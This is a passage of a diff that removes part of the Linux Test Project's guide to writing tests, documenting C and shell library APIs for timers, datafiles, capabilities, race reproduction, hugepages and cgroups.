-return the program exit code to the caller, otherwise 'tst_cmd()' exit the
-tests on failure. 'TST_CMD_TCONF_ON_MISSING' check for program in '$PATH' and exit
-with 'TCONF' if not found.
-
-In case that 'execvp()' has failed and the enum 'TST_CMD_PASS_RETVAL' flag was set, the
-return value is '255' if 'execvp()' failed with 'ENOENT' and '254' otherwise.
-
-'stdout_path' and 'stderr_path' determine where to redirect the program
-stdout and stderr I/O streams.
-
-The 'SAFE_CMD()' macro can be used automatic handling non-zero exits (exits
-with 'TBROK') and 'ENOENT' (exits with 'TCONF').
-
-.Example
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-const char *const cmd[] = { "ls", "-l", NULL };
-
-...
-	/* Store output of 'ls -l' into log.txt */
-	tst_cmd(cmd, "log.txt", NULL, 0);
-...
--------------------------------------------------------------------------------
-
-2.2.21 Measuring elapsed time and helper functions
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_timer.h"
-
-void tst_timer_check(clockid_t clk_id);
-
-void tst_timer_start(clockid_t clk_id);
-
-void tst_timer_stop(void);
-
-struct timespec tst_timer_elapsed(void);
-
-long long tst_timer_elapsed_ms(void);
-
-long long tst_timer_elapsed_us(void);
-
-int tst_timer_expired_ms(long long ms);
--------------------------------------------------------------------------------
-
-The 'tst_timer_check()' function checks if specified 'clk_id' is suppored and
-exits the test with 'TCONF' otherwise. It's expected to be used in test
-'setup()' before any resources that needs to be cleaned up are initialized,
-hence it does not include a cleanup function parameter.
-
-The 'tst_timer_start()' marks start time and stores the 'clk_id' for further
-use.
-
-The 'tst_timer_stop()' marks the stop time using the same 'clk_id' as last
-call to 'tst_timer_start()'.
-
-The 'tst_timer_elapsed*()' returns time difference between the timer start and
-last timer stop in several formats and units.
-
-The 'tst_timer_expired_ms()' function checks if the timer started by
-'tst_timer_start()' has been running longer than ms milliseconds. The function
-returns non-zero if timer has expired and zero otherwise.
-
-IMPORTANT: The timer functions use 'clock_gettime()' internally which needs to
-           be linked with '-lrt' on older glibc. Please do not forget to add
-	   'LDLIBS+=-lrt' in Makefile.
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-#include "tst_timer.h"
-
-static void setup(void)
-{
-	...
-	tst_timer_check(CLOCK_MONOTONIC);
-	...
-}
-
-static void run(void)
-{
-	...
-	tst_timer_start(CLOCK_MONOTONIC);
-	...
-	while (!tst_timer_expired_ms(5000)) {
-		...
-	}
-	...
-}
-
-struct tst_test test = {
-	...
-	.setup = setup,
-	.test_all = run,
-	...
-};
--------------------------------------------------------------------------------
-
-Expiration timer example usage.
-
-[source,c]
--------------------------------------------------------------------------------
-long long tst_timespec_to_us(struct timespec t);
-long long tst_timespec_to_ms(struct timespec t);
-
-struct timeval tst_us_to_timeval(long long us);
-struct timeval tst_ms_to_timeval(long long ms);
-
-int tst_timespec_lt(struct timespec t1, struct timespec t2);
-
-struct timespec tst_timespec_add_us(struct timespec t, long long us);
-
-struct timespec tst_timespec_diff(struct timespec t1, struct timespec t2);
-long long tst_timespec_diff_us(struct timespec t1, struct timespec t2);
-long long tst_timespec_diff_ms(struct timespec t1, struct timespec t2);
-
-struct timespec tst_timespec_abs_diff(struct timespec t1, struct timespec t2);
-long long tst_timespec_abs_diff_us(struct timespec t1, struct timespec t2);
-long long tst_timespec_abs_diff_ms(struct timespec t1, struct timespec t2);
--------------------------------------------------------------------------------
-
-The first four functions are simple inline conversion functions.
-
-The 'tst_timespec_lt()' function returns non-zero if 't1' is earlier than
-'t2'.
-
-The 'tst_timespec_add_us()' function adds 'us' microseconds to the timespec
-'t'. The 'us' is expected to be positive.
-
-The 'tst_timespec_diff*()' functions returns difference between two times, the
-'t1' is expected to be later than 't2'.
-
-The 'tst_timespec_abs_diff*()' functions returns absolute value of difference
-between two times.
-
-NOTE: All conversions to ms and us rounds the value.
-
-2.2.22 Datafiles
-^^^^^^^^^^^^^^^^
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-static const char *const res_files[] = {
-	"foo",
-	"bar",
-	NULL
-};
-
-static struct tst_test test = {
-	...
-	.resource_files = res_files,
-	...
-}
--------------------------------------------------------------------------------
-
-If the test needs additional files to be copied to the test temporary
-directory all you need to do is to list their filenames in the
-'NULL' terminated array '.resource_files' in the tst_test structure.
-
-When resource files is set test temporary directory is created automatically,
-there is need to set '.needs_tmpdir' as well.
-
-The test library looks for datafiles first, these are either stored in a
-directory called +datafiles+ in the +$PWD+ at the start of the test or in
-+$LTPROOT/testcases/data/${test_binary_name}+. If the file is not found the
-library looks into +$LTPROOT/testcases/bin/+ and to +$PWD+ at the start of the
-test. This ensures that the testcases can copy the file(s) effortlessly both
-when test is started from the directory it was compiled in as well as when LTP
-was installed.
-
-The file(s) are copied to the newly created test temporary directory which is
-set as the test working directory when the 'test()' functions is executed.
-
-2.2.23 Code path tracing
-^^^^^^^^^^^^^^^^^^^^^^^^
-
-'tst_res' is a macro, so on when you define a function in one file:
-
-[source,c]
--------------------------------------------------------------------------------
-int do_action(int arg)
-{
-	...
-
-	if (ok) {
-		tst_res(TPASS, "check passed");
-		return 0;
-	} else {
-		tst_res(TFAIL, "check failed");
-		return -1;
-	}
-}
--------------------------------------------------------------------------------
-
-and call it from another file, the file and line reported by 'tst_res' in this
-function will be from the former file.
-
-'TST_TRACE' can make the analysis of such situations easier. It's a macro which
-inserts a call to 'tst_res(TINFO, ...)' in case its argument evaluates to
-non-zero. In this call to 'tst_res(TINFO, ...)' the file and line will be
-expanded using the actual location of 'TST_TRACE'.
-
-For example, if this another file contains:
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-if (TST_TRACE(do_action(arg))) {
-	...
-}
--------------------------------------------------------------------------------
-
-the generated output may look similar to:
-
--------------------------------------------------------------------------------
-common.h:9: FAIL: check failed
-test.c:8: INFO: do_action(arg) failed
--------------------------------------------------------------------------------
-
-2.2.24 Tainted kernels
-^^^^^^^^^^^^^^^^^^^^^^
-
-If you need to detect whether a testcase triggers a kernel warning, bug or
-oops, the following can be used to detect TAINT_W or TAINT_D:
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-static struct tst_test test = {
-	...
-	.taint_check = TST_TAINT_W | TST_TAINT_D,
-	...
-};
-
-void run(void)
-{
-	...
-	if (tst_taint_check() != 0)
-		tst_res(TFAIL, "kernel has issues");
-	else
-		tst_res(TPASS, "kernel seems to be fine");
-}
--------------------------------------------------------------------------------
-
-To initialize taint checks, you have to set the taint flags you want to test
-for in the 'taint_check' attribute of the tst_test struct. LTP library will
-then automatically call 'tst_taint_init()' during test setup. The function
-will generate a 'TCONF' if the requested flags are not fully supported on the
-running kernel, and 'TBROK' if the kernel is already tainted before executing
-the test.
-
-LTP library will then automatically check kernel taint at the end of testing.
-If '.all_filesystems' is set in struct tst_test, taint check will be performed
-after each file system and taint will abort testing early with 'TFAIL'. You
-can optionally also call 'tst_taint_check()' during 'run()', which returns 0
-or the tainted flags set in '/proc/sys/kernel/tainted' as specified earlier.
-
-Depending on your kernel version, not all tainted-flags will be supported.
-
-For reference to tainted kernels, see kernel documentation:
-Documentation/admin-guide/tainted-kernels.rst or
-https://www.kernel.org/doc/html/latest/admin-guide/tainted-kernels.html
-
-2.2.25 Checksums
-^^^^^^^^^^^^^^^^
-
-CRC32c checksum generation is supported by LTP. In order to use it, the
-test should include 'tst_checksum.h' header, then can call 'tst_crc32c()'.
-
-2.2.26 Checking kernel for the driver support
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-Some tests may need specific kernel drivers, either compiled in, or built
-as a module. If '.needs_drivers' points to a 'NULL' terminated array of kernel
-module names these are all checked and the test exits with 'TCONF' on the
-first missing driver.
-
-Since it relies on modprobe command, the check will be skipped if the command
-itself is not available on the system.
-
-2.2.27 Saving & restoring /proc|sys values
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-LTP library can be instructed to save and restore value of specified
-(/proc|sys) files. This is achieved by initialized tst_test struct
-field 'save_restore'. It is a 'NULL' terminated array of strings where
-each string represents a file, whose value is saved at the beginning
-and restored at the end of the test. Only first line of a specified
-file is saved and restored.
-
-Pathnames can be optionally prefixed to specify how strictly (during
-'store') are handled errors:
-
-* (no prefix) - test ends with 'TCONF', if file doesn't exist
-* '?'         - test prints info message and continues,
-                if file doesn't exist or open/read fails
-* '!'         - test ends with 'TBROK', if file doesn't exist
-
-'restore' is always strict and will TWARN if it encounters any error.
-
-[source,c]
--------------------------------------------------------------------------------
-static const char *save_restore[] = {
-	"/proc/sys/kernel/core_pattern",
-	NULL,
-};
-
-static void setup(void)
-{
-	FILE_PRINTF("/proc/sys/kernel/core_pattern", "/mypath");
-}
-
-static struct tst_test test = {
-	...
-	.setup = setup,
-	.save_restore = save_restore,
-};
--------------------------------------------------------------------------------
-
-2.2.28 Parsing kernel .config
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-Generally testcases should attempt to autodetect as much kernel features as
-possible based on the currently running kernel. We do have tst_check_driver()
-to check if functionality that could be compiled as kernel module is present
-on the system, disabled syscalls can be detected by checking for 'ENOSYS'
-errno etc.
-
-However in rare cases core kernel features couldn't be detected based on the
-kernel userspace API and we have to resort to parse the kernel .config.
-
-For this cases the test should set the 'NULL' terminated '.needs_kconfigs'
-array of boolean expressions with constraints on the kconfig variables. The
-boolean expression consits of variables, two binary operations '&' and '|',
-negation '!' and correct sequence of parentesis '()'. Variables are expected
-to be in a form of "CONFIG_FOO[=bar]".
-
-The test will continue to run if all expressions are evaluated to 'True'.
-Missing variable is mapped to 'False' as well as variable with different than
-specified value, e.g. 'CONFIG_FOO=bar' will evaluate to 'False' if the value
-is anything else but 'bar'. If config variable is specified as plain
-'CONFIG_FOO' it's evaluated to true it's set to any value (typically =y or =m).
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-static const char *kconfigs[] = {
-	"CONFIG_X86_INTEL_UMIP | CONFIG_X86_UMIP",
-	NULL
-};
-
-static struct tst_test test = {
-	...
-	.needs_kconfigs = kconfigs,
-	...
-};
--------------------------------------------------------------------------------
-
-2.2.29 Changing the Wall Clock Time during test execution
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-There are some tests that, for different reasons, might need to change the
-system-wide clock time. Whenever this happens, it is imperative that the clock
-is restored, at the end of test's execution, taking in consideration the amount
-of time elapsed during that test.
-
-In order for that to happen, struct tst_test has a variable called
-"restore_wallclock" that should be set to "1" so LTP knows it should: (1)
-initialize a monotonic clock during test setup phase and (2) use that monotonic
-clock to fix the system-wide clock time at the test cleanup phase.
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-static void setup(void)
-{
-	...
-}
-
-static void run(void)
-{
-	...
-}
-
-struct tst_test test = {
-	...
-	.setup = setup,
-	.test_all = run,
-	.restore_wallclock = 1,
-	...
-};
--------------------------------------------------------------------------------
-
-2.2.30 Testing similar syscalls in one test
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-In some cases kernel has several very similar syscalls that do either the same
-or very similar job. This is most noticeable on i386 where we commonly have
-two or three syscall versions. That is because i386 was first platform that
-Linux was developed on and because of that most mistakes in API happened there
-as well. However this is not limited to i386 at all, it's quite common that
-version two syscall has added missing flags parameters or so.
-
-In such cases it does not make much sense to copy&paste the test code over and
-over, rather than that the test library provides support for test variants.
-The idea behind test variants is simple, we run the test several times each
-time with different syscall variant.
-
-The implementation consist of test_variants integer that, if set, denotes number
-of test variants. The test is then forked and executed test_variants times each
-time with different value in global tst_variant variable.
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-static int do_foo(void)
-{
-	switch (tst_variant) {
-	case 0:
-		return foo();
-	case 1:
-		return syscall(__NR_foo);
-	}
-
-	return -1;
-}
-
-static void run(void)
-{
-	...
-
-	TEST(do_foo);
-
-	...
-}
-
-static void setup(void)
-{
-	switch (tst_variant) {
-	case 0:
-		tst_res(TINFO, "Testing foo variant 1");
-	break;
-	case 1:
-		tst_res(TINFO, "Testing foo variant 2");
-	break;
-	}
-}
-
-struct tst_test test = {
-	...
-	.setup = setup,
-	.test_all = run,
-	.test_variants = 2,
-	...
-};
--------------------------------------------------------------------------------
-
-2.2.31 Guarded buffers
-^^^^^^^^^^^^^^^^^^^^^^
-
-The test library supports guarded buffers, which are buffers allocated so
-that:
-
-* The end of the buffer is followed by a PROT_NONE page
-
-* The remainder of the page before the buffer is filled with random canary
-  data
-
-Which means that the any access after the buffer will yield a Segmentation
-fault or EFAULT depending on if the access happened in userspace or the kernel
-respectively. The canary before the buffer will also catch any write access
-outside of the buffer.
-
-The purpose of the patch is to catch off-by-one bugs which happens when
-buffers and structures are passed to syscalls. New tests should allocate
-guarded buffers for all data passed to the tested syscall which are passed by
-a pointer.
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-static struct foo *foo_ptr;
-static struct iovec *iov;
-static void *buf_ptr;
-static char *id;
-...
-
-static void run(void)
-{
-	...
-
-	foo_ptr->bar = 1;
-	foo_ptr->buf = buf_ptr;
-
-	...
-}
-
-static void setup(void)
-{
-	...
-
-	id = tst_strdup(string);
-
-	...
-}
-
-static struct tst_test test = {
-	...
-	.bufs = (struct tst_buffers []) {
-		{&foo_ptr, .size = sizeof(*foo_ptr)},
-		{&buf_ptr, .size = BUF_SIZE},
-		{&iov, .iov_sizes = (int[]){128, 32, -1},
-		{}
-	}
-};
--------------------------------------------------------------------------------
-
-Guarded buffers can be allocated on runtime in a test setup() by a
-'tst_alloc()' or by 'tst_strdup()' as well as by filling up the .bufs array in
-the tst_test structure.
-
-So far the tst_test structure supports allocating either a plain buffer by
-setting up the size or struct iovec, which is allocated recursively including
-the individual buffers as described by an '-1' terminated array of buffer
-sizes.
-
-2.2.32 Adding and removing capabilities
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-Some tests may require the presence or absence of particular
-capabilities. Using the API provided by 'tst_capability.h' the test author can
-try to ensure that some capabilities are either present or absent during the
-test.
-
-For example; below we try to create a raw socket, which requires
-CAP_NET_ADMIN. During setup we should be able to do it, then during run it
-should be impossible. The LTP capability library will check before setup that
-we have this capability, then after setup it will drop it.
-
-[source,c]
---------------------------------------------------------------------------------
-#include "tst_test.h"
-#include "tst_capability.h"
-#include "tst_safe_net.h"
-
-#include "lapi/socket.h"
-
-static void run(void)
-{
-	TEST(socket(AF_INET, SOCK_RAW, 1));
-	if (TST_RET > -1) {
-		tst_res(TFAIL, "Created raw socket");
-	} else if (TST_ERR != EPERM) {
-		tst_res(TFAIL | TTERRNO,
-			"Failed to create socket for wrong reason");
-	} else {
-		tst_res(TPASS | TTERRNO, "Didn't create raw socket");
-	}
-}
-
-static void setup(void)
-{
-	TEST(socket(AF_INET, SOCK_RAW, 1));
-	if (TST_RET < 0)
-		tst_brk(TCONF | TTERRNO, "We don't have CAP_NET_RAW to begin with");
-
-	SAFE_CLOSE(TST_RET);
-}
-
-static struct tst_test test = {
-	.setup = setup,
-	.test_all = run,
-	.caps = (struct tst_cap []) {
-		TST_CAP(TST_CAP_REQ, CAP_NET_RAW),
-		TST_CAP(TST_CAP_DROP, CAP_NET_RAW),
-		{}
-	},
-};
---------------------------------------------------------------------------------
-
-Look at the test struct at the bottom. We have filled in the 'caps' field with
-a 'NULL' terminated array containing two 'tst_cap' structs. 'TST_CAP_REQ'
-actions are executed before setup and 'TST_CAP_DROP' are executed after
-setup. This means it is possible to both request and drop a capability.
-
-[source,c]
---------------------------------------------------------------------------------
-static struct tst_test test = {
-	.test_all = run,
-	.caps = (struct tst_cap []) {
-		TST_CAP(TST_CAP_REQ, CAP_NET_RAW),
-		TST_CAP(TST_CAP_DROP, CAP_SYS_ADMIN),
-		{}
-	},
-};
---------------------------------------------------------------------------------
-
-Here we request 'CAP_NET_RAW', but drop 'CAP_SYS_ADMIN'. If the capability is
-in the permitted set, but not the effective set, the library will try to
-permit it. If it is not in the permitted set, then it will fail with 'TCONF'.
-
-This API does not require 'libcap' to be installed. However it has limited
-features relative to 'libcap'. It only tries to add or remove capabilities
-from the effective set. This means that tests which need to spawn child
-processes may have difficulties ensuring the correct capabilities are
-available to the children (see the capabilities (7) manual pages).
-
-However a lot of problems can be solved by using 'tst_cap_action(struct
-tst_cap  *cap)' directly which can be called at any time. This also helps if
-you wish to drop a capability at the begining of setup.
-
-2.2.33 Reproducing race-conditions
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-If a bug is caused by two tasks in the kernel racing and you wish to create a
-regression test (or bug-fix validation test) then the 'tst_fuzzy_sync.h'
-library should be used.
-
-It allows you to specify, in your code, two race windows. One window in each
-thread's loop (triggering a race usually requires many iterations). These
-windows show fuzzy-sync where the race can happen. They don't need to be
-exact, hence the 'fuzzy' part. If the race condition is not immediately
-triggered then the library will begin experimenting with different timings.
-
-[source,c]
---------------------------------------------------------------------------------
-#include "tst_fuzzy_sync.h"
-
-static struct tst_fzsync_pair fzsync_pair;
-
-static void setup(void)
-{
-        tst_fzsync_pair_init(&fzsync_pair);
-}
-
-static void cleanup(void)
-{
-	tst_fzsync_pair_cleanup(&fzsync_pair);
-}
-
-static void *thread_b(void *arg)
-{
-	while (tst_fzsync_run_b(&fzsync_pair)) {
-
-		tst_fzsync_start_race_b(&fzsync_pair);
-
-                /* This is the race window for thread B */
-
-                tst_fzsync_end_race_b(&fzsync_pair);
-	}
-
-	return arg;
-}
-
-static void thread_a(void)
-{
-	tst_fzsync_pair_reset(&fzsync_pair, thread_b);
-
-        while (tst_fzsync_run_a(&fzsync_pair)) {
-
-		tst_fzsync_start_race_a(&fzsync_pair);
-
-		/* This is the race window for thread A */
-
-                tst_fzsync_end_race_a(&fzsync_pair);
-	}
-}
-
-static struct tst_test test = {
-	.test_all = thread_a,
-	.setup = setup,
-	.cleanup = cleanup,
-};
---------------------------------------------------------------------------------
-
-Above is a minimal template for a test using fuzzy-sync. In a simple case, you
-just need to put the bits you want to race inbetween 'start_race' and
-'end_race'. Meanwhile, any setup you need to do per-iteration goes outside the
-windows.
-
-Fuzzy sync synchronises 'run_a' and 'run_b', which act as barriers, so that
-neither thread can progress until the other has caught up with it. There is
-also the 'pair_wait' function which can be used to add barriers in other
-locations. Of course 'start/end_race_a/b' are also a barriers.
-
-The library decides how long the test should run for based on the timeout
-specified by the user plus some other heuristics.
-
-For full documentation see the comments in 'include/tst_fuzzy_sync.h'.
-
-2.2.34 Reserving hugepages
-^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-Many of the LTP tests need to use hugepage in their testing, this allows the
-test can reserve hugepages from system only via '.request_hugepages = xx'.
-
-If set non-zero number of 'request_hugepages', test will try to reserve the
-expected number of hugepage for testing in setup phase. If system does not
-have enough hpage for using, it will try the best to reserve 80% available
-number of hpages. With success test stores the reserved hugepage number in
-'tst_hugepages'. For the system without hugetlb supporting, variable
-'tst_hugepages' will be set to 0.
-
-Also, we do cleanup and restore work for the hpages resetting automatically.
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-static void run(void)
-{
-	...
-
-	if (tst_hugepages == test.request_hugepages)
-		TEST(do_hpage_test);
-	else
-		...
-	...
-}
-
-struct tst_test test = {
-	.test_all = run,
-	.request_hugepages = 2,
-	...
-};
--------------------------------------------------------------------------------
-
-or,
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-static void run(void)
-{
-	...
-}
-
-static void setup(void)
-{
-        if (tst_hugepages != test.requested_hugepages)
-                tst_brk(TCONF, "...");
-}
-
-struct tst_test test = {
-	.test_all = run,
-	.request_hugepages = 2,
-	...
-};
--------------------------------------------------------------------------------
-
-2.2.35 Checking for required commands
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-Required commands can be checked with '.needs_cmds', which points to a 'NULL'
-terminated array of strings such as:
-
-[source,c]
--------------------------------------------------------------------------------
-.needs_cmds = (const char *const []) {
-	"useradd",
-	"userdel",
-	NULL
-},
--------------------------------------------------------------------------------
-
-2.2.36 Assert sys or proc file value
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-Using TST_ASSERT_INT/STR(path, val) to assert that integer value or string stored in
-the prefix field of file pointed by path equals to the value passed to this function.
-
-Also having a similar api pair TST_ASSERT_FILE_INT/STR(path, prefix, val) to assert
-the field value of file.
-
-2.2.36 Using Control Group
-^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-Some LTP tests need specific Control Group configurations. tst_cgroup.h provides
-APIs to discover and use CGroups. There are many differences between CGroups API
-V1 and V2. We encapsulate the details of configuring CGroups in high-level
-functions which follow the V2 kernel API. Allowing one to use CGroups without
-caring too much about the current system's configuration.
-
-Also, the LTP library will automatically mount/umount and configure the CGroup
-hierarchies if that is required (e.g. if you run the tests from init with no
-system manager).
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-#include "tst_cgroup.h"
-
-static const struct tst_cgroup_group *cg;
-
-static void run(void)
-{
-	...
-	// do test under cgroup
-	...
-}
-
-static void setup(void)
-{
-	tst_cgroup_require("memory", NULL);
-	cg = tst_cgroup_get_test_group();
-	SAFE_CGROUP_PRINTF(cg, "cgroup.procs", "%d", getpid());
-	SAFE_CGROUP_PRINTF(cg, "memory.max", "%lu", MEMSIZE);
-	if (SAFE_CGROUP_HAS(cg, "memory.swap.max"))
-		SAFE_CGROUP_PRINTF(cg, "memory.swap.max", "%zu", memsw);
-}
-
-static void cleanup(void)
-{
-	tst_cgroup_cleanup();
-}
-
-struct tst_test test = {
-	.setup = setup,
-	.test_all = run,
-	.cleanup = cleanup,
-	...
-};
--------------------------------------------------------------------------------
-
-Above, we first ensure the memory controller is available on the
-test's CGroup with 'tst_cgroup_require'. We then get a structure,
-'cg', which represents the test's CGroup. Note that
-'tst_cgroup_get_test_group' should not be called many times, as it is
-allocated in a guarded buffer (See section 2.2.31). Therefor it is
-best to call it once in 'setup' and not 'run' because 'run' may be
-repeated with the '-i' option.
-
-We then write the current processes PID into 'cgroup.procs', which
-moves the current process into the test's CGroup. After which we set
-the maximum memory size by writing to 'memory.max'. If the memory
-controller is mounted on CGroups V1 then the library will actually
-write to 'memory.limit_in_bytes'. As a general rule, if a file exists
-on both CGroup versions, then we use the V2 naming.
-
-Some controller features, such as 'memory.swap', can be
-disabled. Therefor we need to check if they exist before accessing
-them. This can be done with 'SAFE_CGROUP_HAS' which can be called on
-any control file or feature.
-
-Most tests only require setting a few limits similar to the above. In
-such cases the differences between V1 and V2 are hidden. Setup and
-cleanup is also mostly hidden. However things can get much worse.
-
-[source,c]
--------------------------------------------------------------------------------
-static const struct tst_cgroup_group *cg;
-static const struct tst_cgroup_group *cg_drain;
-static struct tst_cgroup_group *cg_child;
-
-static void run(void)
-{
-	char buf[BUFSIZ];
-	size_t mem = 0;
-
-	cg_child = tst_cgroup_group_mk(cg, "child");
-	SAFE_CGROUP_PRINTF(cg_child, "cgroup.procs", "%d", getpid());
-
-	if (TST_CGROUP_VER(cg, "memory") != TST_CGROUP_V1)
-		SAFE_CGROUP_PRINT(cg, "cgroup.subtree_control", "+memory");
-	if (TST_CGROUP_VER(cg, "cpuset") != TST_CGROUP_V1)
-		SAFE_CGROUP_PRINT(cg, "cgroup.subtree_control", "+cpuset");
-
-	if (!SAFE_FORK()) {
-		SAFE_CGROUP_PRINTF(cg_child, "cgroup.procs", "%d", getpid());
-
-		if (SAFE_CGROUP_HAS(cg_child, "memory.swap"))
-			SAFE_CGROUP_SCANF(cg_child, "memory.swap.current", "%zu", &mem);
-		SAFE_CGROUP_READ(cg_child, "cpuset.mems", buf, sizeof(buf));
-
-		// Do something with cpuset.mems and memory.current values
-		...
-
-		exit(0);
-	}
-
-	tst_reap_children();
-	SAFE_CGROUP_PRINTF(cg_drain, "cgroup.procs", "%d", getpid());
-	cg_child = tst_cgroup_group_rm(cg_child);
-}
-
-static void setup(void)
-{
-	tst_cgroup_require("memory", NULL);
-	tst_cgroup_require("cpuset", NULL);
-
-	cg = tst_cgroup_get_test_group();
-	cg_drain = tst_cgroup_get_drain_group();
-}
-
-static void cleanup(void)
-{
-	if (cg_child) {
-		SAFE_CGROUP_PRINTF(cg_drain, "cgroup.procs", "%d", getpid());
-		cg_child = tst_cgroup_group_rm(cg_child);
-	}
-
-	tst_cgroup_cleanup();
-}
-
-struct tst_test test = {
-	.setup = setup,
-	.test_all = run,
-	.cleanup = cleanup,
-	...
-};
--------------------------------------------------------------------------------
-
-Starting with setup; we can see here that we also fetch the 'drain'
-CGroup. This is a shared group (between parallel tests) which may
-contain processes from other tests. It should have default settings and
-these should not be changed by the test. It can be used to remove
-processes from other CGroups incase the hierarchy root is not
-accessible.
-
-In 'run', we first create a child CGroup with 'tst_cgroup_mk'. As we
-create this CGroup in 'run' we should also remove it at the end of
-run. We also need to check if it exists and remove it in cleanup as
-well. Because there are 'SAFE_' functions which may jump to cleanup.
-
-We then move the main test process into the child CGroup. This is
-important as it means that before we destroy the child CGroup we have
-to move the main test process elsewhere. For that we use the 'drain'
-group.
-
-Next we enable the memory and cpuset controller configuration on the
-test CGroup's descendants (i.e. 'cg_child'). This allows each child to
-have its own settings. The file 'cgroup.subtree_control' does not
-exist on V1. Because it is possible to have both V1 and V2 active at
-the same time. We can not simply check if 'subtree_control' exists
-before writing to it. We have to check if a particular controller is
-on V2 before trying to add it to 'subtree_control'. Trying to add a V1
-controller will result in 'ENOENT'.
-
-We then fork a child process and add this to the child CGroup. Within
-the child process we try to read 'memory.swap.current'. It is possible
-that the memory controller was compiled without swap support, so it is
-necessary to check if 'memory.swap' is enabled. That is unless the
-test will never reach the point where 'memory.swap.*' are used without
-swap support.
-
-The parent process waits for the child process to be reaped before
-destroying the child CGroup. So there is no need to transfer the child
-to drain. However the parent process must be moved otherwise we will
-get 'EBUSY' when trying to remove the child CGroup.
-
-Another example of an edge case is the following.
-
-[source,c]
--------------------------------------------------------------------------------
-	if (TST_CGROUP_VER(cg, "memory") == TST_CGROUP_V1)
-		SAFE_CGROUP_PRINTF(cg, "memory.swap.max", "%lu", ~0UL);
-	else
-		SAFE_CGROUP_PRINT(cg, "memory.swap.max", "max");
--------------------------------------------------------------------------------
-
-CGroups V2 introduced a feature where 'memory[.swap].max' could be set to
-"max". This does not appear to work on V1 'limit_in_bytes' however. For most
-tests, simply using a large number is sufficient and there is no need to use
-"max". Importantly though, one should be careful to read both the V1 and V2
-kernel docs. The LTP library can not handle all edge cases. It does the minimal
-amount of work to make testing on both V1 and V2 feasible.
-
-2.2.37 Require minimum numbers of CPU for a testcase
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-Some tests require more than specific number of CPU. It can be defined with
-`.min_cpus = N`.
-
-2.2.38 Test tags
-^^^^^^^^^^^^^^^^
-
-Test tags are name-value pairs that can hold any test metadata.
-
-We have additional support for CVE entries, git commit in mainline kernel,
-stable kernel or glibc git repository.  If a test is a regression test it
-should include these tags.  They are printed when test fails and exported
-into documentation.
-
-CVE, mainline and stable kernel git commits in a regression test for a kernel bug:
-[source,c]
--------------------------------------------------------------------------------
-struct tst_test test = {
-	...
-	.tags = (const struct tst_tag[]) {
-		{"linux-git", "9392a27d88b9"},
-		{"linux-git", "ff002b30181d"},
-		{"linux-stable-git", "c4a23c852e80"},
-		{"CVE", "2020-29373"},
-		{}
-	}
-};
--------------------------------------------------------------------------------
-
-Glibc git commit in a regression test for a glibc bug:
-[source,c]
--------------------------------------------------------------------------------
-struct tst_test test = {
-	...
-	.tags = (const struct tst_tag[]) {
-		{"glibc-git", "574500a108be"},
-		{}
-	}
-};
--------------------------------------------------------------------------------
-
-2.3 Writing a testcase in shell
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-LTP supports testcases to be written in a portable shell too.
-
-There is a shell library modeled closely to the C interface at
-'testcases/lib/tst_test.sh'.
-
-WARNING: All identifiers starting with TST_ or tst_ are reserved for the
-         test library.
-
-2.3.1 Basic test interface
-^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-[source,sh]
--------------------------------------------------------------------------------
-#!/bin/sh
-# SPDX-License-Identifier: GPL-2.0-or-later
-# This is a basic test for true shell builtin
-
-TST_TESTFUNC=do_test
-. tst_test.sh
-
-do_test()
-{
-	true
-	ret=$?
-
-	if [ $ret -eq 0 ]; then
-		tst_res TPASS "true returned 0"
-	else
-		tst_res TFAIL "true returned $ret"
-	fi
-}
-
-tst_run
--------------------------------------------------------------------------------
-
-TIP: To execute this test the 'tst_test.sh' library must be in '$PATH'. If you
-     are executing the test from a git checkout you can run it as
-     'PATH="$PATH:../../lib" ./foo01.sh'
-
-The shell library expects test setup, cleanup and the test function executing
-the test in the '$TST_SETUP', '$TST_CLEANUP' and '$TST_TESTFUNC' variables.
-
-Both '$TST_SETUP' and '$TST_CLEANUP' are optional.
-
-The '$TST_TESTFUNC' may be called several times if more than one test
-iteration was requested by passing right command line options to the test.
-
-The '$TST_CLEANUP' may be called even in the middle of the setup and must be
-able to clean up correctly even in this situation. The easiest solution for
-this is to keep track of what was initialized and act accordingly in the
-cleanup.
-
-WARNING: Similar to the C library, calling 'tst_brk' in the $TST_CLEANUP does
-         not exit the test and 'TBROK' is converted to 'TWARN'.
-
-Notice also the 'tst_run' shell API function called at the end of the test that
-actually starts the test.
-
-WARNING: cleanup function is called only after 'tst_run' has been started.
-Calling 'tst_brk' in shell libraries, e.g. 'tst_test.sh' or 'tst_net.sh' does
